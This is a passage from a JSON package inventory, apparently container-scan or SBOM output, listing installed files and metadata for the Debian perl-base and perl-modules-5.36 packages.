"/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/6.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/60.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/600.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/6000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/60000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/7.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/70.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/700.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/7000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/70000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/8.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/80.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/800.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/8000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/80000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/9.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/90.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/900.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/9000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/90000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/PCM/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/PatSyn/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Alnum.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Assigned.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Blank.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Graph.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/PerlWord.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/PosixPun.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Print.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/SpacePer.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Title.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Word.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/XPosixPu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlAny.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlCh2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlCha.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlFol.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlIDC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlIDS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlIsI.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlNch.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlPat.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlPr2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlPro.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlQuo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/QMark/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/AT.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/CL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/FO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/LE.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/LO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/NU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/SC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/ST.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/Sp.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/UP.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SD/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/STerm/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Arab.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Beng.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Cprt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Cyrl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Deva.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Dupl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Geor.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Glag.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gonm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gran.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Grek.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gujr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Guru.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Han.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Hang.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Hira.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Kana.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Knda.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Latn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Limb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Linb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Mlym.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Mong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Mult.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Orya.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Sinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Syrc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Taml.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Telu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Zinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Zyyy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Adlm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Arab.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Armn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Beng.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Bhks.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Bopo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cakm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cham.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Copt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cprt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cyrl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Deva.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Diak.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Dupl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Ethi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Geor.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Glag.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gonm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gran.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Grek.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gujr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Guru.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Han.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hang.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hebr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hira.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hmng.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hmnp.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Kana.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Khar.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Khmr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Khoj.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Knda.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Kthi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Lana.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Lao.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Latn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Limb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Lina.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Linb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mlym.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mult.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mymr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Nand.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Nko.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Orya.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Phlp.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Rohg.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Shrd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Sind.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Sinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Syrc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tagb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Takr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Talu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Taml.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tang.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Telu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Thaa.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tibt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tirh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Vith.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Xsux.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Yezi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Yi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Zinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Zyyy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Zzzz.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Term/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/UIdeo/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Upper/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/VS/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/R.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/Tr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/Tu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/U.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/Extend.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/FO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/HL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/KA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/LE.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/MB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/ML.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/MN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/NU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/WSegSpac.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/XIDC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/XIDS/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/utf8.pm", "/usr/lib/x86_64-linux-gnu/perl-base/vars.pm", "/usr/lib/x86_64-linux-gnu/perl-base/warnings.pm", "/usr/lib/x86_64-linux-gnu/perl-base/warnings/register.pm", "/usr/share/doc/perl-base/changelog.Debian.gz", "/usr/share/doc/perl-base/changelog.gz", "/usr/share/doc/perl-base/copyright", "/usr/share/doc/perl/AUTHORS.gz", "/usr/share/doc/perl/Documentation", "/usr/share/lintian/overrides/perl-base", "/usr/share/man/man1/perl.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "perl-modules-5.36@5.36.0-7+deb12u3", "Name": "perl-modules-5.36", "Identifier": { "PURL": "pkg:deb/debian/perl-modules-5.36@5.36.0-7%2Bdeb12u3?arch=all\u0026distro=debian-12.13", "UID": "497f4140550900b2" }, "Version": "5.36.0", "Release": "7+deb12u3", "Arch": "all", "SrcName": "perl", "SrcVersion": "5.36.0", "SrcRelease": "7+deb12u3", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "RRA-KEEP-THIS-NOTICE", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2", "HSIEH-DERIVATIVE", "HSIEH-BSD" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "perl-base@5.36.0-7+deb12u3" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/doc/perl-modules-5.36/README.Debian", "/usr/share/doc/perl-modules-5.36/changelog.Debian.gz", "/usr/share/doc/perl-modules-5.36/changelog.gz", "/usr/share/doc/perl-modules-5.36/copyright", "/usr/share/perl/5.36.0/AnyDBM_File.pm", "/usr/share/perl/5.36.0/App/Cpan.pm", "/usr/share/perl/5.36.0/App/Prove.pm", "/usr/share/perl/5.36.0/App/Prove/State.pm", "/usr/share/perl/5.36.0/App/Prove/State/Result.pm", "/usr/share/perl/5.36.0/App/Prove/State/Result/Test.pm", "/usr/share/perl/5.36.0/Archive/Tar.pm", "/usr/share/perl/5.36.0/Archive/Tar/Constant.pm", "/usr/share/perl/5.36.0/Archive/Tar/File.pm", "/usr/share/perl/5.36.0/Attribute/Handlers.pm", "/usr/share/perl/5.36.0/AutoLoader.pm", "/usr/share/perl/5.36.0/AutoSplit.pm", "/usr/share/perl/5.36.0/B/Deparse.pm", "/usr/share/perl/5.36.0/B/Op_private.pm", "/usr/share/perl/5.36.0/Benchmark.pm", "/usr/share/perl/5.36.0/CORE.pod", "/usr/share/perl/5.36.0/CPAN.pm", "/usr/share/perl/5.36.0/CPAN/API/HOWTO.pod", "/usr/share/perl/5.36.0/CPAN/Author.pm", "/usr/share/perl/5.36.0/CPAN/Bundle.pm", "/usr/share/perl/5.36.0/CPAN/CacheMgr.pm", "/usr/share/perl/5.36.0/CPAN/Complete.pm", "/usr/share/perl/5.36.0/CPAN/Debug.pm", "/usr/share/perl/5.36.0/CPAN/DeferredCode.pm", "/usr/share/perl/5.36.0/CPAN/Distribution.pm", "/usr/share/perl/5.36.0/CPAN/Distroprefs.pm", "/usr/share/perl/5.36.0/CPAN/Distrostatus.pm", "/usr/share/perl/5.36.0/CPAN/Exception/RecursiveDependency.pm", "/usr/share/perl/5.36.0/CPAN/Exception/blocked_urllist.pm", "/usr/share/perl/5.36.0/CPAN/Exception/yaml_not_installed.pm", "/usr/share/perl/5.36.0/CPAN/Exception/yaml_process_error.pm", "/usr/share/perl/5.36.0/CPAN/FTP.pm", "/usr/share/perl/5.36.0/CPAN/FTP/netrc.pm", "/usr/share/perl/5.36.0/CPAN/FirstTime.pm", "/usr/share/perl/5.36.0/CPAN/HTTP/Client.pm", "/usr/share/perl/5.36.0/CPAN/HTTP/Credentials.pm", "/usr/share/perl/5.36.0/CPAN/HandleConfig.pm", "/usr/share/perl/5.36.0/CPAN/Index.pm", "/usr/share/perl/5.36.0/CPAN/InfoObj.pm", "/usr/share/perl/5.36.0/CPAN/Kwalify.pm", "/usr/share/perl/5.36.0/CPAN/Kwalify/distroprefs.dd", "/usr/share/perl/5.36.0/CPAN/Kwalify/distroprefs.yml", "/usr/share/perl/5.36.0/CPAN/LWP/UserAgent.pm", "/usr/share/perl/5.36.0/CPAN/Meta.pm", "/usr/share/perl/5.36.0/CPAN/Meta/Converter.pm", "/usr/share/perl/5.36.0/CPAN/Meta/Feature.pm", "/usr/share/perl/5.36.0/CPAN/Meta/History.pm", "/usr/share/perl/5.36.0/CPAN/Meta/History/Meta_1_0.pod", "/usr/share/perl/5.36.0/CPAN/Meta/History/Meta_1_1.pod", "/usr/share/perl/5.36.0/CPAN/Meta/History/Meta_1_2.pod", "/usr/share/perl/5.36.0/CPAN/Meta/History/Meta_1_3.pod", "/usr/share/perl/5.36.0/CPAN/Meta/History/Meta_1_4.pod", "/usr/share/perl/5.36.0/CPAN/Meta/Merge.pm", "/usr/share/perl/5.36.0/CPAN/Meta/Prereqs.pm", "/usr/share/perl/5.36.0/CPAN/Meta/Requirements.pm", "/usr/share/perl/5.36.0/CPAN/Meta/Spec.pm", "/usr/share/perl/5.36.0/CPAN/Meta/Validator.pm", "/usr/share/perl/5.36.0/CPAN/Meta/YAML.pm", "/usr/share/perl/5.36.0/CPAN/Mirrors.pm", "/usr/share/perl/5.36.0/CPAN/Module.pm", "/usr/share/perl/5.36.0/CPAN/Nox.pm", "/usr/share/perl/5.36.0/CPAN/Plugin.pm", "/usr/share/perl/5.36.0/CPAN/Plugin/Specfile.pm", "/usr/share/perl/5.36.0/CPAN/Prompt.pm", "/usr/share/perl/5.36.0/CPAN/Queue.pm", "/usr/share/perl/5.36.0/CPAN/Shell.pm", "/usr/share/perl/5.36.0/CPAN/Tarzip.pm", "/usr/share/perl/5.36.0/CPAN/URL.pm", "/usr/share/perl/5.36.0/CPAN/Version.pm", "/usr/share/perl/5.36.0/Carp.pm", "/usr/share/perl/5.36.0/Carp/Heavy.pm", "/usr/share/perl/5.36.0/Class/Struct.pm", "/usr/share/perl/5.36.0/Compress/Zlib.pm", "/usr/share/perl/5.36.0/Config/Extensions.pm", "/usr/share/perl/5.36.0/Config/Perl/V.pm", "/usr/share/perl/5.36.0/DB.pm", "/usr/share/perl/5.36.0/DBM_Filter.pm", "/usr/share/perl/5.36.0/DBM_Filter/compress.pm", "/usr/share/perl/5.36.0/DBM_Filter/encode.pm", "/usr/share/perl/5.36.0/DBM_Filter/int32.pm", "/usr/share/perl/5.36.0/DBM_Filter/null.pm", "/usr/share/perl/5.36.0/DBM_Filter/utf8.pm", "/usr/share/perl/5.36.0/Devel/SelfStubber.pm", "/usr/share/perl/5.36.0/Digest.pm", "/usr/share/perl/5.36.0/Digest/base.pm", "/usr/share/perl/5.36.0/Digest/file.pm", "/usr/share/perl/5.36.0/DirHandle.pm", "/usr/share/perl/5.36.0/Dumpvalue.pm", "/usr/share/perl/5.36.0/Encode/Changes.e2x", "/usr/share/perl/5.36.0/Encode/ConfigLocal_PM.e2x", "/usr/share/perl/5.36.0/Encode/Makefile_PL.e2x", "/usr/share/perl/5.36.0/Encode/PerlIO.pod", "/usr/share/perl/5.36.0/Encode/README.e2x", "/usr/share/perl/5.36.0/Encode/Supported.pod", "/usr/share/perl/5.36.0/Encode/_PM.e2x", "/usr/share/perl/5.36.0/Encode/_T.e2x", "/usr/share/perl/5.36.0/Encode/encode.h", "/usr/share/perl/5.36.0/English.pm", "/usr/share/perl/5.36.0/Env.pm", "/usr/share/perl/5.36.0/Exporter.pm", "/usr/share/perl/5.36.0/Exporter/Heavy.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Base.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/Unix.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/VMS.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/Windows.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/Windows/BCC.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/Windows/GCC.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/Windows/MSVC.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/aix.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/android.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/cygwin.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/darwin.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/dec_osf.pm", "/usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/os2.pm", "/usr/share/perl/5.36.0/ExtUtils/Command.pm", "/usr/share/perl/5.36.0/ExtUtils/Command/MM.pm", "/usr/share/perl/5.36.0/ExtUtils/Constant.pm", "/usr/share/perl/5.36.0/ExtUtils/Constant/Base.pm", "/usr/share/perl/5.36.0/ExtUtils/Constant/ProxySubs.pm", "/usr/share/perl/5.36.0/ExtUtils/Constant/Utils.pm", "/usr/share/perl/5.36.0/ExtUtils/Constant/XS.pm", "/usr/share/perl/5.36.0/ExtUtils/Embed.pm", "/usr/share/perl/5.36.0/ExtUtils/Install.pm", "/usr/share/perl/5.36.0/ExtUtils/Installed.pm", "/usr/share/perl/5.36.0/ExtUtils/Liblist.pm", "/usr/share/perl/5.36.0/ExtUtils/Liblist/Kid.pm", "/usr/share/perl/5.36.0/ExtUtils/MANIFEST.SKIP", "/usr/share/perl/5.36.0/ExtUtils/MM.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_AIX.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_Any.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_BeOS.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_Cygwin.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_DOS.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_Darwin.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_MacOS.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_NW5.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_OS2.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_OS390.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_QNX.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_UWIN.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_Unix.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_VMS.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_VOS.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_Win32.pm", "/usr/share/perl/5.36.0/ExtUtils/MM_Win95.pm", "/usr/share/perl/5.36.0/ExtUtils/MY.pm", "/usr/share/perl/5.36.0/ExtUtils/MakeMaker.pm", "/usr/share/perl/5.36.0/ExtUtils/MakeMaker/Config.pm", "/usr/share/perl/5.36.0/ExtUtils/MakeMaker/FAQ.pod", "/usr/share/perl/5.36.0/ExtUtils/MakeMaker/Locale.pm", "/usr/share/perl/5.36.0/ExtUtils/MakeMaker/Tutorial.pod", "/usr/share/perl/5.36.0/ExtUtils/MakeMaker/version.pm", "/usr/share/perl/5.36.0/ExtUtils/Manifest.pm", "/usr/share/perl/5.36.0/ExtUtils/Miniperl.pm", "/usr/share/perl/5.36.0/ExtUtils/Mkbootstrap.pm", "/usr/share/perl/5.36.0/ExtUtils/Mksymlists.pm", "/usr/share/perl/5.36.0/ExtUtils/PL2Bat.pm", "/usr/share/perl/5.36.0/ExtUtils/Packlist.pm", "/usr/share/perl/5.36.0/ExtUtils/ParseXS.pm", "/usr/share/perl/5.36.0/ExtUtils/ParseXS.pod", "/usr/share/perl/5.36.0/ExtUtils/ParseXS/Constants.pm", "/usr/share/perl/5.36.0/ExtUtils/ParseXS/CountLines.pm", "/usr/share/perl/5.36.0/ExtUtils/ParseXS/Eval.pm", "/usr/share/perl/5.36.0/ExtUtils/ParseXS/Utilities.pm", "/usr/share/perl/5.36.0/ExtUtils/Typemaps.pm", "/usr/share/perl/5.36.0/ExtUtils/Typemaps/Cmd.pm", "/usr/share/perl/5.36.0/ExtUtils/Typemaps/InputMap.pm", "/usr/share/perl/5.36.0/ExtUtils/Typemaps/OutputMap.pm", "/usr/share/perl/5.36.0/ExtUtils/Typemaps/Type.pm", "/usr/share/perl/5.36.0/ExtUtils/testlib.pm", "/usr/share/perl/5.36.0/ExtUtils/typemap", "/usr/share/perl/5.36.0/ExtUtils/xsubpp", "/usr/share/perl/5.36.0/Fatal.pm", "/usr/share/perl/5.36.0/File/Basename.pm", "/usr/share/perl/5.36.0/File/Compare.pm", "/usr/share/perl/5.36.0/File/Copy.pm", "/usr/share/perl/5.36.0/File/Fetch.pm", "/usr/share/perl/5.36.0/File/Find.pm", "/usr/share/perl/5.36.0/File/GlobMapper.pm", "/usr/share/perl/5.36.0/File/Path.pm", "/usr/share/perl/5.36.0/File/Temp.pm", "/usr/share/perl/5.36.0/File/stat.pm", "/usr/share/perl/5.36.0/FileCache.pm", "/usr/share/perl/5.36.0/FileHandle.pm", "/usr/share/perl/5.36.0/Filter/Simple.pm", "/usr/share/perl/5.36.0/FindBin.pm", "/usr/share/perl/5.36.0/Getopt/Long.pm", "/usr/share/perl/5.36.0/Getopt/Std.pm", "/usr/share/perl/5.36.0/HTTP/Tiny.pm", "/usr/share/perl/5.36.0/I18N/Collate.pm", "/usr/share/perl/5.36.0/I18N/LangTags.pm", "/usr/share/perl/5.36.0/I18N/LangTags/Detect.pm", 